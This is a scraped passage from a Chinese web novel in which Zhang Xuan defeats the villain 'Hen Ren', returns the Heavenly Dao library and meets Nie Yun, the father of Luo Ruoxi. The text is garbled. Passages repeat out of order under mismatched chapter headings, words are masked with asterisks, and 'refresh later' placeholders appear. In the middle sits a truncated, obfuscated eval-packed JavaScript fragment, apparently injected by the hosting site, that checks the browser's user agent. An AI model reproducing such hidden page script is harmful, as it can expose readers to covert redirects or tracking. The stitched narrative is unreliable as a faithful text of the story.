“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第178章 疯狗咬人 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第179章 打擂台 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 